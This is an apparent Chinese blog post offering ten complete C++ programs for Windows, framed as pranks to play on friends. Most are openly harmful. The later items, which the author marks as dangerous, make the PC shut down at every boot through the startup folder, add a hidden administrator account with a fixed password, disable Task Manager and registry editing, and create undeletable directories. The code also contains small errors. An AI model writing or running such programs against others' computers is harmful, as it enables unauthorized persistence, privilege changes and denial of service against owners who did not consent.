十个C++恶搞朋友的代码合集
作者:wangyuhan2010
这篇文章主要为大家整理了十个C++中可以恶搞朋友的代码合集(注意!从第五个开始为危险/永久性程序,请慎重使用),感兴趣的小伙伴可以收藏一下
注:以下代码应勿用于非法(Dev-c++5.11实测可用)
0.无限生成cmd
解决方法:关闭程序即可
Code:
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { while(1)system("start cmd"); }
1.使鼠标所点应用消失
解决方法:暂无
Code:
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { while(1) { HWND hWnd=GetForegroundWindow(); ShowWindow(hWnd,SW_HIDE); } }
2.使鼠标乱飞
解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭
Code:
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { while(1) { SetCursorPos(rand()%1000,rand()%1000); } }
3.立刻或定时关机
解决方法:cmd(Win+R,输入:cmd),输入shutdown -a
Code:
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { system("shutdown -s -t 60");->1分钟 system("shutdown -p");->立刻 }
4.卡死
注意:Windows高版本可能没有作用
解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭
Code:
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { while(1)malloc(1000); }
警告:从5.开始为危险/永久性程序,请慎重使用
5.开机即关机
提示:操作启动项,可能被杀毒软件拦截
解决方法:杀毒软件
Code:(保存在C:\main.cpp,编译后生成C:\main.exe,也可更改18行代码)
#include <stdio.h> #include <windows.h> #include <Shlobj.h> #pragma comment(lib, "shell32.lib") BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName) { char szStartupPath[MAX_PATH] = { 0 }; char szDestFilePath[MAX_PATH] = { 0 }; SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE); wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName); CopyFile(lpszSrcFilePath, szDestFilePath, FALSE); return TRUE; } int main(int argc, char * argv[]) { AutoRun_Startup("c://main.exe", "main.exe"); system("shutdown /p"); return 0; }
6.添加用户
提示:可能被杀毒软件拦截
解决方法:杀毒软件
Code:
#include <stdio.h> #include <assert.h> #include <windows.h> #include <lm.h> #pragma comment(lib,"netapi32") void AddUser(LPWSTR UserName, LPWSTR Password) { USER_INFO_1 user; user.usri1_name = UserName; user.usri1_password = Password; user.usri1_priv = USER_PRIV_USER; user.usri1_home_dir = NULL; user.usri1_comment = NULL; user.usri1_flags = UF_SCRIPT; user.usri1_script_path = NULL; if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success) printf("创建用户完成 \n"); LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname = user.usri1_name; if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success) printf("添加到组完成 \n"); } void EnumUser() { LPUSER_INFO_0 pBuf = NULL; LPUSER_INFO_0 pTmpBuf; DWORD dwLevel = 0; DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH; DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0; DWORD i; NET_API_STATUS nStatus; LPTSTR pszServerName = NULL; do { nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT, (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle); if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) { if ((pTmpBuf = pBuf) != NULL) { for (i = 0; (i < dwEntriesRead); i++) { assert(pTmpBuf != NULL); if (pTmpBuf == NULL) { break; } wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf); pTmpBuf++; } } } if (pBuf != NULL) { NetApiBufferFree(pBuf); pBuf = NULL; } } while (nStatus == ERROR_MORE_DATA); NetApiBufferFree(pBuf); } int main(int argc, char *argv[]) { AddUser(L"lyshark", L"123123"); EnumUser(); system("pause"); return 0; }
7.禁用任务管理器
提示:可能被杀毒软件拦截
Code:
#include <stdio.h> #include <windows.h> int main() { HKEY hkey; DWORD value = 1; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); RegCloseKey(hkey); return 0; }
8.禁用注册表
提示:可能被杀毒软件拦截
Code:
#include <stdio.h> #include <windows.h> int main() { HKEY hkey; DWORD value = 1; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); RegCloseKey(hkey); return 0; }
9.桌面壁纸
Code:
#include <stdio.h> #include <windows.h> int main() { DWORD value = 1; HKEY hkey; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3); RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); return 0; }
10.不可删除文件
解决方法:将51-52行换成52行
Code:
#include <stdio.h> #include <shlobj.h> #include <windows.h> // 添加不可删除文件 BOOL SetImmunity(char *FilePath,char *FileName) { char file[2048] = { 0 }; strncpy(file, FilePath, strlen(FilePath)); strcat(file, FileName); BOOL bRet = CreateDirectory(file, NULL); if (bRet) { strcat(file, "\\anti...\\"); bRet = CreateDirectory(file, NULL); if (bRet) { SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN); return TRUE; } } return FALSE; } void ClearImmunity(char *FilePath, char *FileName) { char file[2048] = { 0 }; strncpy(file, FilePath, strlen(FilePath)); strcat(file, FileName); strcat(file, "\\anti...\\"); RemoveDirectory(file); ZeroMemory(file, MAX_PATH); strncpy(file, FilePath, strlen(FilePath)); strcat(file, FileName); RemoveDirectory(file); } int main(int argc, char * argv[]) { char *Fuk[4] = { "你", "好", "世", "界" }; int FukLen = sizeof(Fuk) / sizeof(int); TCHAR Destop[MAX_PATH]; SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); for (int x = 0; x < FukLen; x++) { SetImmunity("c://", Fuk[x]); //ClearImmunity("c://", Fuk[x]); } system("pause"); return 0; }
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